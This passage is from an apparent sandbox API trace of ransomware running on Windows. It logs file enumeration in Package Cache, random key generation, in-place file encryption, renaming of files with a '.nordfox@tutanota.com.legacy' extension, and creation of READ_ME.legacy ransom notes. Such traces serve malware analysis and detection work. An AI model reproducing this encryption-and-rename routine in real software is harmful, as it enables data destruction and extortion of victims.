hHeap=0x520000) returned 1 [0116.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.507] FindNextFileW (in: hFindFile=0x566f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e95b81, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e95b81, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e95b81, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0116.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0116.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0116.508] GetLastError () returned 0x0 [0116.508] SetLastError (dwErrCode=0x0) [0116.508] GetLastError () returned 0x0 [0116.508] SetLastError (dwErrCode=0x0) [0116.508] GetLastError () returned 0x0 [0116.508] SetLastError (dwErrCode=0x0) [0116.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.508] FindNextFileW (in: hFindFile=0x566f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0116.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0116.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.509] GetLastError () returned 0x0 [0116.509] SetLastError (dwErrCode=0x0) [0116.509] GetLastError () returned 0x0 [0116.509] SetLastError (dwErrCode=0x0) [0116.509] GetLastError () returned 0x0 [0116.509] SetLastError (dwErrCode=0x0) [0116.509] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563f48 [0116.510] FindNextFileW (in: hFindFile=0x566f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0116.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0116.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0116.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0116.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0116.510] GetLastError () returned 0x0 [0116.510] SetLastError (dwErrCode=0x0) [0116.510] GetLastError () returned 0x0 [0116.510] SetLastError (dwErrCode=0x0) [0116.510] GetLastError () returned 0x0 [0116.510] SetLastError (dwErrCode=0x0) [0116.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0116.511] FindNextFileW (in: hFindFile=0x566f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0116.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7cf0 [0116.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0116.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.511] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0116.511] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", dwFileAttributes=0x80) returned 1 [0116.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0116.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585a30 [0116.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0116.513] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0116.513] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=781872) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbee30) returned 0x6f6020 [0116.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbee30) returned 0x312b020 [0116.519] ReadFile (in: hFile=0x688, lpBuffer=0x6f6020, nNumberOfBytesToRead=0xbee30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f6020*, lpNumberOfBytesRead=0x2e1f9bc*=0xbee30, lpOverlapped=0x0) returned 1 [0116.578] SetFilePointer (in: hFile=0x688, lDistanceToMove=-781872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.578] WriteFile (in: hFile=0x688, lpBuffer=0x312b020*, nNumberOfBytesToWrite=0xbee30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbee30, lpOverlapped=0x0) returned 1 [0116.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f6020 | out: hHeap=0x520000) returned 1 [0116.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312b020 | out: hHeap=0x520000) returned 1 [0116.589] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbee30 [0116.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.589] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.590] WriteFile (in: hFile=0x688, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.590] WriteFile (in: hFile=0x688, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.590] CloseHandle (hObject=0x688) returned 1 [0116.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0116.591] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585a30 | out: hHeap=0x520000) returned 1 [0116.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7cf0 | out: hHeap=0x520000) returned 1 [0116.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ca8 [0116.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0116.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0116.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0116.593] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0116.593] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x80) returned 1 [0116.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0116.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0116.594] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0116.594] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=750) returned 1 [0116.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2ee) returned 0x555b90 [0116.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2ee) returned 0x2f40050 [0116.594] ReadFile (in: hFile=0x688, lpBuffer=0x555b90, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x2ee, lpOverlapped=0x0) returned 1 [0116.612] SetFilePointer (in: hFile=0x688, lDistanceToMove=-750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.612] WriteFile (in: hFile=0x688, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2ee, lpOverlapped=0x0) returned 1 [0116.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0116.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0116.612] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2ee [0116.613] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.613] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.613] WriteFile (in: hFile=0x688, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.613] WriteFile (in: hFile=0x688, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.613] CloseHandle (hObject=0x688) returned 1 [0116.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0116.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0116.614] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0116.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x520000) returned 1 [0116.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e77e8 [0116.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7620 | out: hHeap=0x520000) returned 1 [0116.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570910 | out: hHeap=0x520000) returned 1 [0116.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0116.616] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2ebbeef, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5672d8 [0116.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0116.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0116.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.616] GetLastError () returned 0x0 [0116.616] SetLastError (dwErrCode=0x0) [0116.616] GetLastError () returned 0x0 [0116.616] SetLastError (dwErrCode=0x0) [0116.616] GetLastError () returned 0x0 [0116.617] SetLastError (dwErrCode=0x0) [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567198 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567198 | out: hHeap=0x520000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0116.617] FindNextFileW (in: hFindFile=0x5672d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2ebbeef, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0116.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0116.618] GetLastError () returned 0x0 [0116.618] SetLastError (dwErrCode=0x0) [0116.618] GetLastError () returned 0x0 [0116.618] SetLastError (dwErrCode=0x0) [0116.618] GetLastError () returned 0x0 [0116.618] SetLastError (dwErrCode=0x0) [0116.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0116.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f58 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0116.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0116.618] FindNextFileW (in: hFindFile=0x5672d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0116.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.619] SetLastError (dwErrCode=0x0) [0116.619] GetLastError () returned 0x0 [0116.619] SetLastError (dwErrCode=0x0) [0116.619] GetLastError () returned 0x0 [0116.619] SetLastError (dwErrCode=0x0) [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d58 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] GetLastError () returned 0x0 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0116.620] SetLastError (dwErrCode=0x0) [0116.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.620] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c [0116.621] WriteFile (in: hFile=0x68c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0116.622] CloseHandle (hObject=0x68c) returned 1 [0116.622] FindNextFileW (in: hFindFile=0x5672d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ebbeef, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2ebbeef, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2ebbeef, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.622] SetLastError (dwErrCode=0x0) [0116.622] GetLastError () returned 0x0 [0116.623] SetLastError (dwErrCode=0x0) [0116.623] GetLastError () returned 0x0 [0116.623] SetLastError (dwErrCode=0x0) [0116.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0116.623] FindNextFileW (in: hFindFile=0x5672d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ebbeef, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2ebbeef, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2ebbeef, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0116.623] RtlAllocateHeap (HeapHandle=0x520000, 